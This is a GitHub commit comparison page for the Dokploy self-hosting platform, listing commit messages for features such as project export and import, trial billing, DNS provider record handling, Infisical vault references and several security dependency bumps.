Compare commits

...

199 Commits

Author SHA1 Message Date
Narciso 86e18f7149 feat(project-export-import): export and import projects between Dokploy instances
Export a project (or a scoped subset of its environments and services) into an
encrypted .dokploy.tar.gz bundle, and import it as a new project or into an
existing one, on the same or another instance.

- Capture -> serialize -> plan -> apply pipeline with requirement detection
  and resolution for external dependencies (git providers, registries,
  destinations, vaults, SSH keys, networks, certificates, servers).
- The whole payload is encrypted with AES-256-GCM using a scrypt key derived
  from the passphrase; secrets are never written to disk in plaintext.
- appName/domain/port conflict detection with per-conflict resolutions,
  cross-org guards on every reused resource, one active transfer per user and
  a cleanup sweep for abandoned jobs.
- Optional database dumps (postgres, mysql, mariadb, mongo, libsql) embedded
  in the bundle or streamed through a destination, with opt-in credential
  rotation on import.
- Bundles can be downloaded or uploaded to a destination; whole-organization
  export to a destination; Settings -> Exports page to manage remote bundles.
- SSH keepalive on remote commands so a dead server fails the job instead of
  hanging it forever.
- See EXPORT_IMPORT.md for the bundle format, secrets policy and known gaps.
2026-10-15 17:27:45 -04:00
Narciso E. Núñez Arias e0006758c0 Merge pull request #5517 from Dokploy/dependabots-alerts
Dependabots alerts fixes
2026-10-14 16:14:50 -04:00
Yash Kumar d9fe046396 Merge pull request #5661 from manozzo/fix/template-card-tags-overflow
fix(templates): cap visible tags so the Create button stays visible
2026-10-15 01:33:09 +05:30
Yash Kumar bfe24f89f9 Update undici version to 6.28.1 2026-10-15 01:07:55 +05:30
Yash Kumar 502d6c8a18 Merge branch 'canary' into dependabots-alerts 2026-10-15 00:44:53 +05:30
Yash Kumar 9e87b9e401 Merge pull request #5613 from Dokploy/fix/member-server-list
fix(server): let members list servers in server pickers
2026-10-15 00:30:43 +05:30
Yash Kumar a7d8dff360 Merge pull request #5624 from Dokploy/feat/logs-and-metrics
feat(logs-and-metrics): ship container logs and metrics to external providers via Vector
2026-10-15 00:08:48 +05:30
Rodrigo Manozzo 94f3815eb4 fix(templates): cap visible tags so the Create button stays visible
Template cards have a fixed height, and the header rendered every tag.
Portabase has 27, which pushed the description and footer (Create
button) out of the card. Show the first 6 tags plus a "+N" badge whose
title lists the rest.

Closes #5660

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-12 20:59:09 -03:00
Narciso E. Núñez Arias 931f5c1335 Merge pull request #5654 from olivier-drieux/fix/restore-backup-service-name
fix(backups): preserve service name when changing database type
2026-10-12 10:46:09 -04:00
Narciso E. Núñez Arias aae2dd9377 Merge pull request #5656 from Totopo27/fix/gh-5600-service-card-description-overflow
fix(ui): wrap and clamp service card description on environment page
2026-10-12 10:38:37 -04:00
Narciso E. Núñez Arias fe3912dc4b Merge pull request #5657 from Totopo27/feat/gh-5546-clickable-projects-card-home
feat(ui): make projects card clickable on home dashboard
2026-10-12 10:37:53 -04:00
Narciso E. Núñez Arias ccd26e946b Merge pull request #5655 from ahmedisam99/fix/gitlab-token-refresh-race
fix(gitlab): share one token refresh between concurrent callers
2026-10-12 10:08:10 -04:00
Narciso E. Núñez Arias 29107d88fc Merge pull request #5649 from imrja8/feat/dual-mode-branding
feat(enterprise): dual-mode branding with separate light/dark theme logos
2026-10-12 09:59:25 -04:00
Narciso E. Núñez Arias c7ee0430f7 Merge pull request #5614 from tomron/feat/ovh-optional-zone
feat(dns): add optional zone to OVH provider
2026-10-12 09:38:51 -04:00
Totopo27 3cc8158fdc feat(ui): make projects card clickable on home dashboard 2026-10-12 07:35:35 -06:00
Totopo27 726664ab3c fix(ui): wrap and clamp service card description on environment page 2026-10-12 07:30:51 -06:00
ahmedisam99 20701ba272 test(gitlab): cover concurrent token refreshes 2026-10-12 11:54:35 +03:00
ahmedisam99 412516d47b fix(gitlab): share one token refresh between concurrent callers
GitLab invalidates a refresh token when it is used. Two deployments that found the token expired at the same time sent the same refresh token, and the second one failed with "Failed to refresh token: Bad Request".
2026-10-12 11:54:35 +03:00
Olivier Drieux b4681b318f fix(backups): preserve service selection when changing database type 2026-10-12 09:55:31 +02:00
Yash Kumar 0898642e32 fix(enterprise): preserve light-mode URLs when toggling dual branding off 2026-10-11 20:00:32 +05:30
Yash Kumar d2779136c5 fix(enterprise): address review feedback for dual-mode branding 2026-10-11 19:51:21 +05:30
Yash Kumar 0b537a815d feat(enterprise): dual-mode branding with separate light/dark theme logos 2026-10-11 19:10:06 +05:30
Narciso b329595370 feat(logs-and-metrics): ship container logs and metrics to external providers via Vector 2026-10-08 10:08:10 -04:00
Tom Ron 2674eb200d fix(dns): enforce the configured OVH zone on record operations
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-08 09:13:50 +03:00
Tom Ron e8f236c9db feat(dns): add optional zone to OVH provider
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-07 22:02:45 +03:00
Narciso 749bb2c1ce fix(server): let members list servers in server pickers 2026-10-07 14:51:15 -04:00
Narciso 9992659f24 fix(deps): bump nodemailer and patch transitive high advisories 2026-10-07 09:49:40 -04:00
Narciso 88cb057e06 Merge remote-tracking branch 'origin/canary' into dependabots-alerts 2026-10-07 08:49:24 -04:00
Narciso 7289a3f68e fix(deps): bump next, shell-quote and proxy-addr for critical advisories 2026-10-07 08:49:23 -04:00
Mauricio Siu 5be17d3dd0 Merge pull request #5584 from libredb/fix/libsql-app-name-validation
fix(libsql): validate appName like the other database kinds
2026-10-05 10:11:50 -06:00
Narciso E. Núñez Arias 5aa28bc7d3 Merge pull request #5575 from imrja8/fix/tooltip-overlapping-modals
fix(ui): resolve tooltips overlapping open modals on remote servers page
2026-10-05 09:41:01 -04:00
Narciso E. Núñez Arias 20575da9fe Merge pull request #5582 from imrja8/fix/terminal-collapse-on-zoom
fix(terminal): prevent terminal from collapsing on zoom
2026-10-05 09:37:11 -04:00
cevheri 06b3bb282a fix(libsql): validate appName like the other database kinds 2026-10-04 23:06:47 +03:00
Yash Kumar 5c19d1b704 fix(terminal): prevent terminal from collapsing on zoom 2026-10-04 21:37:15 +05:30
autofix-ci[bot] 2bc3741e41 [autofix.ci] apply automated fixes 2026-10-04 08:54:25 +00:00
Yash Kumar 35d26a806b fix(ui): prevent tooltips from getting stuck when server modals close 2026-10-04 14:23:59 +05:30
Yash Kumar a4a13b90b8 fix(ui): resolve tooltips overlapping open modals on remote servers page 2026-10-04 13:52:51 +05:30
Narciso E. Núñez Arias 48504fde4e Merge pull request #5561 from imrja8/revert-5406-fix-settings-layout-width 2026-10-01 10:35:33 -04:00
Yash Kumar 84a1d7093c Revert "fix(ui): standardize settings layout widths to full width" 2026-10-01 19:33:27 +05:30
Mauricio Siu 90d522c846 Merge pull request #5463 from Dokploy/feat/self-delete-account
feat: account deletion for Dokploy Cloud
2026-10-01 00:22:02 -06:00
Mauricio Siu c6a2b2437d Merge branch 'canary' into feat/self-delete-account 2026-09-30 23:53:57 -06:00
Narciso E. Núñez Arias cec5b65cd6 Merge pull request #5482 from qirh/add-perplexity-attribution 2026-09-29 15:01:14 -04:00
Narciso E. Núñez Arias 52f61adfe8 Merge pull request #5022 from Souvik-Cyclic/fix/secure-session-cookie-https-4709
fix: mark session cookie as Secure when served over HTTPS
2026-09-29 13:04:42 -04:00
Narciso E. Núñez Arias 169bac2ef8 Merge pull request #5529 from Souvik-Cyclic/fix/deployment-log-tail-leak-5518
fix: kill deployment log tail when the client disconnects early
2026-09-29 13:04:25 -04:00
Narciso E. Núñez Arias 916bb50e73 fix: redact S3 credentials in backup logs regardless of shell quoting (#5527) 2026-09-29 13:03:59 -04:00
Souvik Kumar 0d3a3966b0 fix: count only physical disks in host Block I/O stats (#5540)
* fix: count only physical disks in host Block I/O stats and skip partitioned md arrays and test the Block I/O sum
2026-09-29 11:47:05 -04:00
Roshan Singh 560e790e73 fix: preserve compose status when saving provider settings (#5544)
* fix: preserve compose status when saving provider settings
2026-09-29 10:58:59 -04:00
Narciso E. Núñez Arias ff2e454dca Merge pull request #5543 from Souvik-Cyclic/fix/webhook-body-size-5537
fix: accept deploy webhook payloads up to 25 MB
2026-09-29 10:37:49 -04:00
Souvik Kumar 82545bf500 revert: go back to a literal 25mb body limit for deploy webhooks 2026-09-29 20:00:05 +05:30
Narciso E. Núñez Arias 302754bd3b Merge pull request #5535 from y4aniv/fix/tab-headers-consistency
fix(ui): unify tab header styles across backups, schedules, volume backups and patches
2026-09-29 10:26:12 -04:00
Narciso E. Núñez Arias 6e7934fc55 Merge pull request #5429 from imrja8/fix/deployments-filter-bar-inline-layout
feat(ui): enhance deployments layout and fix visual jumping
2026-09-29 10:14:34 -04:00
Yash Kumar c18609a127 refactor(ui): remove redundant responsive layout comment 2026-09-29 19:24:03 +05:30
Narciso E. Núñez Arias 618a7df25c Merge pull request #5455 from roshanasingh4/codex/preserve-app-status-on-provider-save
fix: preserve application status when saving provider settings
2026-09-29 09:51:29 -04:00
Souvik Kumar 1c6d333739 fix: parse deploy webhook bodies in the handler so the size limit can be configured 2026-09-29 19:20:41 +05:30
Narciso E. Núñez Arias 72f2c4d5d1 Merge pull request #5498 from imrja8/fix/add-invitation-form-reset
fix: prevent add-invitation form from resetting on submission error
2026-09-29 09:44:47 -04:00
Souvik Kumar e8be2693e0 refactor: make deploy webhook body limit configurable via DEPLOY_WEBHOOK_MAX_BODY_SIZE 2026-09-29 19:06:44 +05:30
Souvik Kumar 4396451095 fix: accept deploy webhook payloads up to 25 MB 2026-09-29 18:37:57 +05:30
Yash Kumar 7dc066a7bd Merge branch 'Dokploy:canary' into fix/deployments-filter-bar-inline-layout 2026-09-29 18:08:41 +05:30
Yash Kumar a0b6f233cb Merge branch 'Dokploy:canary' into fix/add-invitation-form-reset 2026-09-29 18:08:30 +05:30
Mauricio Siu d0ec74fbb8 Merge pull request #5538 from Dokploy/fix/hubspot-chat-widget
fix(cloud): load HubSpot chat widget for startup plan users
2026-09-29 02:05:21 -06:00
Mauricio Siu 382fdfc478 fix(cloud): remove HubSpot chat widget when dashboard unmounts
Logout navigates client-side to the sign-in page, so the widget (mounted
outside React) stayed visible after a startup user logged out.
2026-09-29 01:59:29 -06:00
Mauricio Siu c231c2979b fix(cloud): load HubSpot chat widget for startup plan users
The HubSpot script is loaded app-wide with loadImmediately: false, but
useHubSpotChat was never called, so widget.load() never ran. The old
HubSpotWidget shared the hs-script-loader id and was deduped by next/script.
2026-09-29 01:54:04 -06:00
Yaniv Douieb 3951247ebd fix(ui): unify tab header styles across backups, schedules, volume backups and patches 2026-09-28 17:48:20 +02:00
Souvik Kumar 7b89d1f948 fix: kill deployment log tail when the client disconnects early 2026-09-27 15:27:14 +05:30
Souvik Kumar 6215c7f159 fix: redact S3 credentials in backup logs regardless of shell quoting 2026-09-27 00:23:23 +05:30
Yash Kumar 52ea2ce071 Merge branch 'Dokploy:canary' into fix/deployments-filter-bar-inline-layout 2026-09-26 09:28:03 +05:30
Yash Kumar a0f1a5119c Merge branch 'Dokploy:canary' into fix/add-invitation-form-reset 2026-09-26 09:27:54 +05:30
Narciso Nunez 5e0b021ec2 fix(deps): resolve open Dependabot alerts 2026-09-23 17:40:39 -04:00
Mauricio Siu a0e0574bcd Merge pull request #5515 from Dokploy/fix/trial-billing-interval-switch
fix(billing): allow switching billing interval during trial
2026-09-23 15:09:24 -06:00
Mauricio Siu c453ac3a2f fix(billing): allow switching billing interval during trial
Switching plan mid-trial always forced the monthly price and there was no
way to move to annual. Preserve trial_end on the Stripe update so changing
the interval does not reset the billing cycle and end the trial early.
2026-09-23 15:06:54 -06:00
Yash Kumar 143dfcafe3 fix: correct add-invitation form reset logic and select state 2026-09-21 16:01:50 +05:30
Yash Kumar 3563f585f9 Merge branch 'Dokploy:canary' into fix/deployments-filter-bar-inline-layout 2026-09-20 12:39:36 +05:30
Saleh Alghusson f2ba262499 feat(ai): add Perplexity integration attribution 2026-09-18 13:26:27 -05:00
Dokploy Bot f397c1a862 chore: sync hotfix from main into canary [skip ci] 2026-09-18 09:04:20 +00:00
Mauricio Siu 16ac4633f3 Merge pull request #5477 from Dokploy/feat/trial-expiration-emails
fix(billing): pick a plan for the trial and warn before it expires

(cherry picked from commit d7d75f7c5c)

[skip ci]
2026-09-18 09:04:19 +00:00
Mauricio Siu d7d75f7c5c Merge pull request #5477 from Dokploy/feat/trial-expiration-emails
fix(billing): pick a plan for the trial and warn before it expires
2026-09-18 03:04:07 -06:00
Mauricio Siu a0e1001808 feat(trial-notifications): add email notification for expiring trials and integrate with webhook 2026-09-18 03:03:51 -06:00
Mauricio Siu 8236c31fcd Revert "fix(billing): one reminder at 1 day, guarded by an advisory lock"
Revert "fix(billing): stop the reminder claim from rewriting stale metadata"

This reverts commits 037230496 and 14e059784.
2026-09-18 02:49:18 -06:00
Mauricio Siu 037230496c fix(billing): one reminder at 1 day, guarded by an advisory lock
Cloud runs two frontend replicas and node-schedule fires on each, so both
would read the same unset marker and every trial user would get the email
twice. A Postgres advisory lock lets one replica run and the other skip;
it lives in the connection rather than the schema, so no migration.

Drops the 3-day reminder, leaving the single notice before billing starts.
2026-09-18 02:45:46 -06:00
Mauricio Siu 14e059784c fix(billing): stop the reminder claim from rewriting stale metadata
Stripe merges metadata on update, so spreading the snapshot read during
the list call re-asserted stale values over anything written since. Send
only the key being claimed.

The claim is not exclusive and the comment no longer says it is: two
replicas can still read the same unset marker. Marking before the send
only keeps a crash mid-send from resending on the next run.
2026-09-18 02:41:28 -06:00
Mauricio Siu f34151bc12 refactor(billing): drop the runTrialExpirationJob endpoint
Removes the manual trigger and the root guard it needed. The cron job is
the only caller now, so processTrialExpirations goes back to module private.
2026-09-18 02:39:33 -06:00
Mauricio Siu d00ae31920 refactor(billing): drop the sendTestTrialEmail endpoint
The scan endpoint already covers manual runs, so the one-off sender was
redundant. sendTrialExpiringEmail goes back to being module private.
2026-09-18 02:38:02 -06:00
Mauricio Siu 95b2712c26 fix(billing): pick a plan for the trial and warn before it expires
Trials were always Hobby, so a trial user who wanted Startup had to go
through Checkout, which created a second subscription on the same
customer. Seven days later Stripe cancelled the trial sub and the webhook,
matching only on customer id, zeroed serversQuantity and deactivated the
servers of someone who was already paying.

The trial now starts on the plan the user chooses and switching plans
mutates that same subscription, so a customer never holds two.

- startFreeTrial takes a tier; TRIAL_SERVER_LIMIT becomes TRIAL_SERVER_LIMITS
  (Hobby 1 server, Startup 3)
- onboarding offers both plans with a trial and a subscribe button
- billing exposes Switch to Startup/Hobby during the trial and hides the
  checkout CTAs and server steppers that would create a second subscription
- upgradeSubscription caps the server count to the plan's included servers
  while trialing and skips proration, which emitted an orphan invoice
- webhook treats trialing as active instead of disabling servers, and
  guards invoices that carry no subscription
- getBillingStatus reports hasPaymentMethod, so the banners stop asking for
  a card once one is on file
- new cloud-only daily job emails trial users without a payment method at 3
  and 1 days left, deduped through subscription metadata claimed before the
  send so concurrent replicas cannot double-send
2026-09-18 02:35:27 -06:00
Mauricio Siu 318ad36967 feat: restrict self-service account deletion to cloud organization owners 2026-09-14 11:05:26 -06:00
Mauricio Siu a87a5c06f0 feat: account deletion for Dokploy Cloud
Self-service deletion from Settings > Profile confirmed with the account
password (when present) plus a 6-digit code sent by email, and a root-only
"delete by email" tool in the impersonation bar to fulfil GDPR requests.

Both paths run the same flow: cancel every Stripe subscription (customer is
kept for invoicing), delete the user and all owned organizations in one
transaction, anonymize audit trail left in other organizations, reassign
pending invitations to the org owner, remove the HubSpot contact when
HUBSPOT_ACCESS_TOKEN is configured, and log a JSON deletion record.

Also blocks better-auth's raw /admin/remove-user endpoint and makes the
Stripe webhook tolerate subscription/customer events for already deleted
users.
2026-09-14 11:01:47 -06:00
Roshan Singh e120340e77 test: cover status preservation for every provider save 2026-09-13 22:28:06 +05:30
Roshan Singh 0d6e984b54 fix: preserve application status when saving provider settings 2026-09-13 22:22:36 +05:30
Yash Kumar 1e9873b3e4 fix(ui): change filter layout breakpoint to lg to prevent overflow on tablets 2026-09-12 15:59:18 +05:30
Yash Kumar 26317e9126 feat(ui): inline deployments filter bar and fix layout jumping 2026-09-12 15:50:08 +05:30
Mauricio Siu 853ca33659 Merge pull request #5416 from Dokploy/fix/critical-next-rce-16.3.4
fix(deps): bump next to 16.3.4 to patch critical RCE advisories
2026-09-11 02:20:20 -06:00
Mauricio Siu a90c2a662f Merge pull request #5418 from EgerDev/feat/compose-models
feat(compose): support models in Compose specification
2026-09-11 02:20:07 -06:00
EgerDev 45dcdfc5be test(compose): tighten models types and regression tests 2026-09-11 00:11:40 -07:00
EgerDev 29cdc815db feat(compose): support AI models in Compose specification 2026-09-10 20:28:28 -07:00
Narciso E. Núñez Arias 9fa98de9c1 Merge pull request #5350 from RezaRahemtola/fix/ntfy-database-backup-newline
fix(notifications): add missing newline to ntfy database backup message
2026-09-10 19:00:08 -04:00
Dokploy Bot a4a1d15656 chore: sync hotfix from main into canary [skip ci] 2026-09-10 22:40:21 +00:00
Narciso E. Núñez Arias 8075a7ce95 Merge pull request #5358 from KingIronMan2011/patch-1
feat: added missing Railpack versions
(cherry picked from commit 326908869d)

[skip ci]
2026-09-10 22:40:19 +00:00
Narciso E. Núñez Arias 326908869d Merge pull request #5358 from KingIronMan2011/patch-1
feat: added missing Railpack versions
2026-09-10 18:40:09 -04:00
Narciso E. Núñez Arias 18d07c7254 Merge pull request #5364 from maks-oleksyuk/chore/ci-update-actions
chore(ci): update GitHub Actions to latest versions and harden workflows
2026-09-10 18:32:42 -04:00
Narciso 4cd4b83523 fix(deps): bump next to 16.3.4 to patch critical RCE advisories
GHSA-2xp9-vwfh-vxw4 and GHSA-p293-qw3h-jr36
2026-09-10 18:23:38 -04:00
Narciso E. Núñez Arias f91b2e2ca6 Merge pull request #5414 from aspatari/fix/infisical-imported-secrets
fix(vault): read Infisical secrets pulled in through an import
2026-09-10 18:16:08 -04:00
Artur Spatari e70c880612 test(vault): lock the precedence between two imports
Review flagged that multi-import collisions were untested. The order the code
implements is the documented one — Infisical: "If two imports carry a secret
with the same name, the value from the bottom-most import wins" — and the
response lists imports in that order, so sequential assignment matches it.

Added a case with two imports defining the same key. Reversing the merge order
in the client fails it, so the test pins the behaviour rather than restating
the implementation.

vault.test.ts: 58 passed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-10 10:32:09 +03:00
Artur Spatari 0c1dfe978c fix(vault): read Infisical secrets pulled in through an import
Fixes #5413. A secret brought into a folder with "Import Secrets" was reported
as not found. Two reasons, and the first is easy to miss:

The list endpoint takes the flag in **snake_case**. `includeImports` is
silently ignored — the request still returns 200, with `imports` present but
empty — so the imported secret looked like it simply did not exist. Measured
against app.infisical.com with a registered import (confirmed via
GET /api/v1/secret-imports):

  expandSecretReferences=true                        imports[] empty
  expandSecretReferences=true&includeImports=true    imports[] empty
  expandSecretReferences=true&include_imports=true   imports[] has the secret

Second, imported secrets never appear in `secrets` — they come back in a
separate `imports` array, one entry per source path, which the client did not
read at all.

Imported entries are merged before the folder's own, so a name defined in both
resolves to the local value, matching how Infisical resolves it.

Also measured, for whoever looks next: `/api/v4/secrets` returns imports with
no flag at all, and single-secret reads (`/raw/{name}`) never see an imported
key — 404 on v3, no such route on v4. So a folder listing is the only way to
reach them.

vault.test.ts: 57 passed. Reverting the fix fails the new merge test.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-10 10:26:52 +03:00
Mauricio Siu 88118cdb3f Merge pull request #5411 from Dokploy/fix/fresh-volumes-danger-zone
fix(compose): move Fresh Volumes into a Danger Zone with typed confirmation
2026-09-09 17:48:16 -06:00
Mauricio Siu 38d157adc0 fix(compose): move Fresh Volumes into a Danger Zone with typed confirmation 2026-09-09 17:47:16 -06:00
Mauricio Siu 3b1fec5409 Merge pull request #5410 from Dokploy/feat/compose-pull-images
feat(compose): pull latest images on deploy toggle
2026-09-09 17:14:43 -06:00
Mauricio Siu 49b8214e5d feat(compose): add pull latest images on deploy toggle 2026-09-09 17:13:24 -06:00
Mauricio Siu ec31739e0e Merge pull request #5396 from Dokploy/feat/transfer-service-between-servers
feat: transfer services between servers
2026-09-09 13:21:27 -06:00
Narciso E. Núñez Arias d5328703fa Merge pull request #5407 from imrja8/fix-sso-flash 2026-09-09 13:15:29 -04:00
Narciso E. Núñez Arias f4cb26cbf4 Merge pull request #5406 from imrja8/fix-settings-layout-width 2026-09-09 13:12:41 -04:00
Yash Kumar a6c1f3048f fix(ui): standardize settings layout widths to full width 2026-09-09 21:24:03 +05:30
Yash Kumar 9cae609a0a fix(auth): prefetch SSO state in SSR to prevent layout flash 2026-09-09 20:09:23 +05:30
Mauricio Siu 2c234d6e20 test(transfer): shrink pipe payload and set an explicit timeout so the suite does not time out in CI 2026-09-09 02:57:51 -06:00
Mauricio Siu 9dcdb53aa1 feat(transfer): move services between servers with their volumes, mounts and config
Adds a Transfer action on every service page that moves an application,
compose or database to another server without S3: volumes, bind mounts
and deployment logs are streamed through the panel (ssh2/spawn pipe),
file mounts and Traefik config are recreated on the target, the source
is cleaned up and the service is deployed on the target. Failures before
cleanup roll back to the source server.
2026-09-09 02:50:29 -06:00
Mauricio Siu bda8124291 Merge pull request #5351 from Dokploy/fix/dependabot-critical-security-updates
fix: resolve 6 critical Dependabot alerts
2026-09-08 16:29:38 -06:00
Mauricio Siu 6dcd0e1859 Merge pull request #5381 from Dokploy/canary
🚀 Release v0.30.6
2026-09-08 16:24:12 -06:00
Mauricio Siu 85786a3196 Merge pull request #5386 from Dokploy/fix/server-health-address-pools
fix(server-health): detect custom default-address-pools via docker info
2026-09-08 16:04:50 -06:00
Mauricio Siu ea3f9f3b53 fix(server-health): detect custom default-address-pools via docker info
/etc/docker/daemon.json isn't mounted into the dokploy container, only
docker.sock is, so cat-ing it always failed silently. Read the effective
config over the already-mounted socket instead.

Fixes #5383
2026-09-08 16:01:48 -06:00
Narciso E. Núñez Arias e99a98e4fe Merge pull request #5375 from aspatari/feat/infisical-path-in-reference
feat(vault): address an Infisical folder from the reference
2026-09-08 16:54:01 -04:00
Artur Spatari 5611662351 feat(vault): address an Infisical folder from the reference
An Infisical provider is pinned to one non-recursive `secretPath`, so reading
two folders means two providers, two machine identities and two sets of
credentials to rotate. This lets a reference name the folder instead:

    ${{vault.my-provider.external/sentry:SENTRY_DSN}}

`<path>:<KEY>` mirrors the HashiCorp client in this directory, which already
documents that exact format. A relative path resolves against the provider's
`secretPath`, a leading slash is absolute, and a ref without a colon keeps its
current meaning — the whole ref is the secret name at the provider's own path.

A dot cannot be the separator here: Infisical accepts dots inside secret names
(`A.B.C` is a valid key), so `provider.a.b.C` cannot be split unambiguously
and would silently break anyone using such a name.

Refs are grouped by resolved path so each path is listed once, and the login
happens once per batch rather than once per path.

Tests cover the bare ref, relative and absolute paths, a provider at `/`,
grouping with a single login, the error naming the path, and a malformed ref.
2026-09-08 21:38:24 +03:00
Narciso E. Núñez Arias 887a457f15 Merge pull request #5374 from aspatari/fix/infisical-expand-secret-references
fix(vault): expand Infisical secret references when listing secrets
2026-09-08 14:08:52 -04:00
autofix-ci[bot] df4e299545 [autofix.ci] apply automated fixes 2026-09-08 17:43:47 +00:00
Narciso E. Núñez Arias aaff71bbf6 Merge pull request #5382 from imrja8/fix/dns-upsert-preserve-existing-records
fix(dns): match record content in upsertRecord to prevent overwriting existing records
2026-09-08 13:39:32 -04:00
Yash Kumar be128d5a4a Merge remote-tracking branch 'upstream/canary' into fix/dns-upsert-preserve-existing-records
# Conflicts:
#	packages/server/src/utils/dns/infomaniak.ts
2026-09-08 22:54:00 +05:30
Narciso E. Núñez Arias 467c80a73d Merge pull request #5356 from mitc-gjuge/feat/infomaniak-record-filter
perf(dns): filter Infomaniak records server-side when upserting
2026-09-08 13:13:43 -04:00
Narciso E. Núñez Arias 2d5a6ef679 feat: add dynamic open graph metadata for link previews (#5348)
* feat: add dynamic open graph metadata for enterprise whitelabeling
2026-09-08 13:05:09 -04:00
Yash Kumar 8291165259 Update packages/server/src/utils/dns/porkbun.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-09-08 17:32:11 +05:30
autofix-ci[bot] e701644fa5 [autofix.ci] apply automated fixes 2026-09-08 11:54:43 +00:00
Yash Kumar 94cd5035ef fix(dns): extract and normalize prio for porkbun MX/SRV records to prevent duplicates 2026-09-08 17:24:17 +05:30
Yash Kumar ea1c6fc3fe fix(dns): fallback to data fields comparison for cloudflare structured SRV/CAA records 2026-09-08 17:20:59 +05:30
Yash Kumar df0986b4e1 fix(dns): apply content normalization in upsert match logic to prevent duplicates 2026-09-08 17:13:58 +05:30
Yash Kumar caca3c19ae Resolve merge conflicts in drizzle migrations 2026-09-08 17:06:17 +05:30
Yash Kumar 91db4e60c4 fix(dns): match record content in upsertRecord to prevent overwriting existing records
Previously, upsertRecord matched only by type and name, silently
overwriting any existing record of the same type/name with different
content. This caused data loss when users had multiple records of the
same type (e.g. multiple TXT records for SPF + site verification).

Now upsertRecord also checks the record content/target before deciding
to update. If the content differs, a new record is created alongside
the existing one instead of replacing it.

Affected providers: Cloudflare, Porkbun, Infomaniak, OVH.
Tests updated accordingly.
2026-09-08 16:59:16 +05:30
Mauricio Siu 1e6ab0fab7 Merge pull request #5380 from Dokploy/fix/sso-account-not-linked-trust
fix(sso): trust admin-configured SSO providers for account linking
2026-09-08 03:17:44 -06:00
Mauricio Siu 67f6890fc8 fix(sso): trust admin-configured SSO providers for account linking
better-auth's account-linking guard requires either the IdP asserting
email_verified or the sso_provider row being domainVerified before it
will link an SSO login to an existing local user with the same email.
Entra ID never asserts email_verified (neither via its OIDC userinfo
endpoint nor via SAML attributes), and Dokploy never persisted
domainVerified at all, so linking was permanently impossible for any
Entra-backed provider (OIDC or SAML) regardless of the local user's
own emailVerified state.

Add the domainVerified column, defaulting to true — Dokploy already
scopes providers to an admin-configured domain and gates registration
behind enterprise/admin permissions, so that domain match (still
enforced by better-auth's validateEmailDomain check) is trust enough.

Fixes #5099
2026-09-08 03:17:02 -06:00
Mauricio Siu 988f5b64d6 feat(trial-banner): add trial banner component to display trial status in sidebar 2026-09-08 01:26:41 -06:00
Mauricio Siu e369541a16 fix(billing): update server inclusion descriptions for clarity 2026-09-08 01:01:55 -06:00
Mauricio Siu 7c1889205c Merge pull request #5379 from Dokploy/fix/terminal-permissions-and-misc-bugs
fix(domains): stop AddDomain queries flooding the API in table view
2026-09-08 00:52:16 -06:00
Mauricio Siu 0f28775a1e fix(domains): don't fetch AddDomain queries until the dialog opens
Fixes #5279. The Domains table (and grid) view mounts one AddDomain
instance per row for the edit action. Its 4 queries (domain.one,
application.one/compose.one, domain.canGenerateTraefikMeDomains,
compose.loadServices) ran unconditionally on mount instead of only
when the edit dialog is open, so any table interaction that causes a
re-render (typing in the host filter, sorting, toggling columns) fired
all 4 queries for every domain row again.
2026-09-08 00:51:05 -06:00
Yash Kumar 6ed5746983 Resolve merge conflicts in drizzle migrations 2026-09-08 12:12:32 +05:30
Mauricio Siu e8f94a94da Merge pull request #5373 from kcybe/fix/update-modal-close-alignment
fix(ui): align close button in web server update modal
2026-09-08 00:37:15 -06:00
Mauricio Siu 150c34dc0a Merge pull request #5378 from Dokploy/chore/trial-7-days
Reduce trial duration from 14 to 7 days
2026-09-08 00:25:42 -06:00
Mauricio Siu 91eaab6a43 Reduce trial duration from 14 to 7 days 2026-09-08 00:17:40 -06:00
Mauricio Siu f0f7843ece Merge pull request #5266 from its-felix/codex/5265-aws-parameter-store
feat(vault): add AWS Parameter Store provider
2026-09-08 00:09:07 -06:00
Artur Spatari 6e760da93b fix(vault): expand Infisical secret references when listing secrets
A secret in Infisical can reference another one (`${env.folder.KEY}`), which
is the only way to keep a value in one place and read it from several folders.
The Infisical client fetches `/api/v3/secrets/raw` without
`expandSecretReferences`, and that endpoint leaves references untouched by
default. The referencing secret therefore arrives as the literal `${...}`
string, is written to the generated `.env`, and the deployment still reports
success — the service just receives a placeholder instead of its value.

This is easy to miss because the single-secret endpoint (`/raw/{name}`) does
expand by default, so the Infisical UI and API show the resolved value while
only Dokploy sees the literal.

Adds the parameter and the first tests for this client: the list request now
asserts the flag, a missing secret and an auth failure. Without the fix the
new test fails with `expected null to be 'true'`.
2026-09-07 22:47:43 +03:00
kcybe 0c19973fbf fix(ui): align close button in web server update modal
Keep the close control in the header row so it lines up with the title and version badge instead of overlapping them.
2026-09-07 21:58:00 +03:00
Mauricio Siu 600657ec62 Add new journal entry for "0193_chemical_the_liberteens" with version 7 2026-09-07 11:34:21 -06:00
Mauricio Siu 383438e4fc Merge branch 'canary' into codex/5265-aws-parameter-store 2026-09-07 11:33:45 -06:00
Mauricio Siu 57a5465d89 Remove unused journal entry for "confused_rocket_racer" from _journal.json 2026-09-07 11:33:31 -06:00
Narciso E. Núñez Arias ab87f2daad Merge pull request #5273 from pparage/fix/issue-4658-interface-addresses
fix(domains): include server interface addresses in validation
2026-09-07 13:05:21 -04:00
Narciso E. Núñez Arias 3b065db8a0 Merge pull request #5258 from mitc-gjuge/feat/ovh-dns-provider
feat: add OVHcloud DNS provider support
2026-09-07 11:47:10 -04:00
Maks Oleksyuk 96778433db chore(ci): update GitHub Actions to latest versions and fix zizmor findings 2026-09-07 10:42:08 +03:00
Julian Speckmann f25810fa72 Update Railpack versions in show.tsx
Added new Railpack versions to the list.
2026-09-06 02:11:29 +02:00
Guillaume Juge 8409b8ce60 perf(dns): filter Infomaniak records server-side when upserting
upsertRecord pulled every record of a zone just to find the one it was about to
write. The API can filter, so ask it to.

The match is still verified locally, because filter[source] matches substrings
rather than exact values. Verified against a live account:

    filter[source]=autoconfig  -> [autoconfig]
    filter[source]=auto        -> [autoconfig, autodiscover]
    filter[source]=disco       -> [autodiscover]

Letting the filter decide would therefore have upserted "auto" onto the existing
"autoconfig" record. The filter narrows what is transferred; the exact
